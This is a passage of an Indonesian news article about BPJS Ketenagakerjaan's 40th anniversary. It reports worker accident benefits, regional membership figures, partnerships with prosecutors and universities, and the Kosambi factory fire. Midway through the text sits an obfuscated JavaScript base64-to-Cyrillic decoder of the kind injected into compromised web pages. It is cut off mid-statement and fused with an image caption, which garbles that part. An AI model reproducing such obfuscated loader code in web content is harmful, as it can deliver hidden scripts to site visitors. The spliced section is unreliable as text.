CALEG GOLKAR

40 Tahun BPJS Ketenagakerjaan. Mengubah Pola Pikir Demi Perlindungan Tenaga Kerja

Deputi Direktur Wilayah BPJS Ketenagakerjaan Sumbagut, Umardin Lubis saat mengajar di acara 40 menit mengajar di kampus Unsyiah, Banda Aceh.

MEDAN (medanbicara.com).Kendati tertimpa musibah saat bekerja, hati Herlina Wati dan Jowanda Pratama tak gundah. Herlina yang dirawat di rumah sakit merasa tenang karena selama dirawat tidak harus mengeluarkan biaya karena ditanggung oleh BPJS Ketenagakerjaan hingga sembuh.

Pun begitu dengan Jowanda, Kehilangan satu kaki tidak membuatnya bersedih, karena BPJS Ketenagakerjaan menanggung gajinya hingga ia dapat bekerja kembali. Ia sekarang sudah mendapat kaki palsu dari BPJS Ketenagakerjaan

Semua itu terjadi karena perusahaan tempat bekerja dua tenaga kerja tersebut mendaftarkan pekerjanya ke BPJS Ketenagakerjaan. Dengan menjadi peserta BPJS Ketenagakerjaan, kedua pihak baik pekerja dan perusahaan mendapatkan keuntungan. Pekerja terjamin perlindungan dalam bekerja, dan perusahaan tidak harus mengeluarkan biaya ekstra bila musibah menimpa pekerjanya.

Deputi Direktur Wilayah BPJS Ketenagakerjaan Sumbagut, Umardin Lubis saat mengunjungi Herlina Wati dan Jowanda Pratama mengapresiasi perusahaan tempat kedua tenaga kerja bekerja. Mereka berdua mendapatkan manfaat terbaik dari kepesertaan di BPJS Ketenagakerjaan.

" Selama di rumah sakit, Ibu Herlina akan dirawat hingga sembuh dan gratis. Herlina juga mendapatkan gaji yang dibayarkan BPJS Ketenagakerjaan selama belum bisa bekerja, " kata Umardin Lubis saat menjenguk Herlina yang merupakan karyawan PT Olaga Food Tanjung Morawa di RS Grand Medistra Lubuk Pakam, awal September 2017.

function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaand Medistra Tanjung Morawa saat Hari Pelayanan Nasional." width="300" height="225" /> Deputi Direktur Wilayah BPJS Ketenagakerjaan Sumbagut Umardin Lubis dan Kakacab Tanjung Morawa, Syahrial saat mengunjungi peserta, Herlina Wati di RS Grand Medistra Tanjung Morawa saat Hari Pelayanan Nasional.

Tidak mudah

Setiap tenaga kerja yang menjadi peserta BPJS Ketenagakerjaan sebenarnya mendapatkan manfaat yang banyak selain yang sudah diceritakan diatas. Ada manfaat Jaminan Kematian dan Jaminan Hari Tua. Tapi begitu pun, masih banyak pekerja yang tidak terdaftar di BPJS Ketenagakerjaan hingga kini.

Berdasarkan data yang dirilis Badan Pusat Statistik Sumut & Aceh, posisi Februari 2017 jumlah penduduk yang bekerja sebanyak 6,157 juta orang. Dari jumlah ini, sebanyak 39,88% pekerja formal (buruh/karyawan/PNS) dan sisanya 60,12% didominasi oleh pekerja informal.

Sedangkan data kepesertaan BPJS Ketenagakerjaan sampai dengan posisi 30 September 2017 untuk Wilayah Sumbagut, yaitu jumlah tenaga kerja formal (Penerima Upah) aktif sebanyak 726.119 orang dengan jumlah perusahaan aktif 37.249 perusahaan.Sedangkan, jumlah tenaga kerja informal (Bukan Penerima Upah) aktif sebanyak 53.055 orang.

Data diatas menunjukan bahwa masih banyak pekerja yang belum masuk dalam program perlindungan tenaga kerja. BPJS Ketenagakerjaan sebenarnya sudah banyak melakukan langkah langkah untuk meningkatkan kepatuhan perusahaan dan kepesertaan tenaga kerja.

BPJS Ketenagakerjaan Wilayah Sumbagut sebenarnya sudah berlari kencang untuk meningkatkan jumlah kepesertaan. Bahu membahu bersama kantor cabang, BPJS Ketenagakerjaan tidak lelah dan terus semangat mengajak tenaga kerja dan perusahaan agar masuk menjadi peserta dan mendapatkan manfaatnya.

“Beberapa usaha untuk meningkatkan kepesertaan telah kami lakukan baik itu kerjasama dengan instansi lain, maupun melalui terobosan program program kerja, “ kata Umardin Lubis.

Contoh yang sudah dilaksanakan BPJS Ketenagakerjaan Wilayah Sumbagut tahun ini misalnya melaksanakan sosialisasi secara masif, membuat desa sadar BPJS Ketenagakerjaan dengan kepala desa dijadikan duta.

Deputi Direktur Wilayah BPJS Ketenagakerjaan Sumbagut, Umardin Lubis dan jajarannya meresmikan desa sadar BPJS Ketenagakerjaan di gampong Meuria Paloh, Lhokseumawe.

Deputi Direktur Wilayah BPJS Ketenagakerjaan Sumbagut, Umardin Lubis dan jajarannya meresmikan desa sadar BPJS Ketenagakerjaan di gampong Meuria Paloh, Lhokseumawe.

Instansi yang sebelumnya bernama Jamsostek ini juga telah melakukan sosialisasi jemput bola melalui mobil keliling, membentuk kader penggerak jaminan sosial ketenagakerjaan, goes to trade center,dan edukasi pasar rakyat/gerebek pasar. Kemudian, membangun gerakan desa sadar jaminan sosial ketenagakerjaan dan menerapkan standar pelayanan prima yang berbasiskan kepada 4P (Physical, Evidance Proses, People dan Produk).

Kerjasama

Untuk mempercepat pencapaiannya, BPJS Ketenagakerjaan melakukan kerjasama dengan instansi lain. Tujuannya untuk menyukseskan program jaminan perlindungan tenaga kerja yang merupakan program strategis nasional.

Seperti menjalin kerjasama dengan beberapa pemda di Sumut, dengan BUMN seperti PTPN yang ada di wilayah kerja, kerjasama dengan Kejaksaan Aceh dan Sumut serta bekerja sama dengan Universitas Negeri Sumatera Utara dan Universitas Negeri Syiah Kuala Banda Aceh.

Direktur Perluasan Kepesertaan & HAL BPJS Ketenagakerjaan, E Ilyas Lubis, Kepala Kanwil Sumbagut, Umardin Lubis dan Wakil Kejati Aceh, Arif SH, MM saat acara evaluasi kerjasama di hotel Santika, 16/11 lalu. /Foto Hambali

Direktur Perluasan Kepesertaan & HAL BPJS Ketenagakerjaan, E Ilyas Lubis, Kepala Kanwil Sumbagut, Umardin Lubis dan Wakil Kejati Aceh, Arif SH, MM saat acara evaluasi kerjasama di hotel Santika, 16/11 lalu. /Foto Hambali

Usaha yang dilakukan BPJS Ketenagakerjaan ini bukan untuk meningkatkan keuntungan BPJS Ketenagakerjaan. Direktur Perluasan Kepesertaan & HAL E Ilyas Lubis mengatakan sejak perusahaan dirubah menjadi badan hukum, bukan perseroan, BPJS Ketenagakerjaan tidak lagi mencari laba. Dana yang dihimpun dari pekerja, akan dikembalikan lagi kepada pekerja.

"Tugas kami adalah benar benar membantu pemerintah melindungi warganya yaitu pekerja, " kata E.Ilyas saat membuka Kegiatan Sosmonev (Sosialisai, Monitoring dan Evaluasi) Kerjasama Kejaksaan Se-Aceh dan Sumut tahun 2017 di Hotel Santika, Rabu malam, (15/11) lalu.

Apalagi kata Ilyas, pemerintah tahun 2021 nanti sudah menargetkan 80% pekerja formal dan 15% pekerja informal terlindungi jaminan sosial ketenagakerjaan. Sehingga menurut Ilyas, kerjasama dengan instansi tersebut merupakan kerjasama untuk kepentingan negara.

Kepala daerah akan lebih dicintai warganya kalau seluruh pekerja di daerahnya sudah terlindungi BPJS Ketenagakerjaan. Dengan kebijakannya, kepala daerah bisa meminta perusahaan untuk mendaftarkan para pekerja. Kepala daerah juga bisa meminta SKPD (Satuan Kerja Perangkat Daerah) untuk mendaftarkan pegawai non ASN yang bekerja di pemerintahan menjadi peserta BPJS Ketenagakerjaan.

Satu lagi, kepala daerah juga bisa mengalokasikan dana dari APBD untuk membiayai pendanaan awal kepesertaan warganya yang bekerja sebagai pekerja informal. Setelah terdaftar, pembayaran iuran bisa dilanjutkan oleh tenaga kerja itu sendiri. Pekerja pun tidak boleh berpangku tangan, karena iuran BPJS Ketenagakerjaan sangat murah, hanya Rp 18 ribu perbulan. Bandingkan dengan harga sebungkus rokok yang sering dibeli pekerja setiap hari. Ilustrasinya, kalau dia berhenti merokok, atau tidak membeli rokok sehari,dia sudah melindungi dirinya sendiri selama satu bulan.

Deputi Direktur Wilayah BPJS Ketenagakerjaan  Sumbagut Umardin Lubis menyerahkan penghargaan kepada Bupati Labura Kharuddin Syah

Deputi Direktur Wilayah BPJS Ketenagakerjaan Sumbagut Umardin Lubis menyerahkan penghargaan kepada Bupati Labura Kharuddin Syah

Hal yang sama juga diharapkan dilakukan BUMN yang ada di wilayah Sumut. Dana CSR yang dianggarkan bisa digunakan untuk membantu membayarkan premi pekerja informal yang kurang mampu. Misalnya BUMN Perkebunan bisa membayarkan iuran para petani yang ada disekitar kebunnya. Karena petani juga adalah pekerja yang harus dilindungi, yang kemungkinan juga mengalami kecelakaan kerja saat sedang mencari nafkah. Bisa saja musibah itu datang saat dia hendak pergi ke ladangnya dan BPJS Ketenagakerjaan mengcover seluruh biaya atas musibah tersebut.

Dalam mengimplementasi Undang-Undang Nomor 24 Tahun 2011 tentang Badan Penyelenggara Jaminan Sosial, setiap perusahaan wajib mendaftarkan pekerjanya ke BPJS Ketenagakerjaan, Kejaksaan sebagai mitra BPJS Ketenagakerjaan akan menegakan aturan untuk memaksa perusahaan yang masih membandel tidak mendaftarkan keseluruhan pekerjanya. Untuk itu, BPJS Ketenagakerjaan Kanwil Sumbagut telah menandatangi kerjasama dengan dua Kejaksaan Tinggi dan 52 Kejaksaan Negeri yang ada di Aceh dan Sumut.

Satu lagi hal yang memungkinkan dilakukan adalah melalui jalur perguruan tinggi. Dalam rangka memperingati ulang tahun BPJS Ketenagakerjaan yang ke -40, diadakan program 40 menit mengajar yang dilakukan seluruh direktur dan deputi BPJS Ketenagakerjaan di beberapa kampus di Indonesia. Diantaranya adalah Universitas Sumatera Utara dan Universitas Syiah Kuala Banda Aceh.

" Kita berharap, mahasiswa sebagai agen perubahan, dimana dalam hal ini mengubah dari pola pikir masyarakat yang belum terdaftar menjadi terdaftar di BPJS Ketenagakerjaan, " ujar Umardin Lubis di Universitas Syiah Kuala, Banda Aceh beberapa waktu lalu.

Dia berpesan, nantinya mahasiswa sebagai pemberi kerja, mengerti tanggung jawab dan kewajibannya terhadap pekerja untuk melindungi mereka dengan memberikan jaminan perlindungan pekerja. Sedangkan bila menjadi pekerja, harus mengerti kewajiban perusahaan untuk melindungi dirinya dan pekerja lainnya diperusahaan tempatnya bekerja.

Kalau saja ini semua berjalan dengan baik, jumlah pekerja formal dan informal yang ada di wilayah Aceh dan Sumut tahun 2018 akan banyak yang dilindungi BPJS Ketenagakerjaan. Semoga seluruh stakeholder di wilayah Sumbagut bekerja keras menyukseskan program perlindungan pekerja yang merupakan salah satu program strategis nasional.

Jangan sampai terulang kembali peristiwa kebakaran pabrik kembang api di Kosambi, Tangerang, Banten , Kamis (26/10) lalu. Miris, dari 103 karyawan pabrik kembang api yang meledak dan terbakar hebat, hanya 27 karyawan yang terdaftar di BPJS Ketenagakerjaan. Dari 50 orang yang meninggal, hanya 3 orang terdaftar dari BPJS Ketenagakerjaan.

Seharusnya kalau mereka terdaftar, korban yang tewas akan mendapatkan hak-haknya sebagai pekerja. Paling tidak memperoleh 48 bulan gaji, biaya pemakaman serta beasiswa bagi anaknya.(hambali)

Mungkin Anda juga menyukai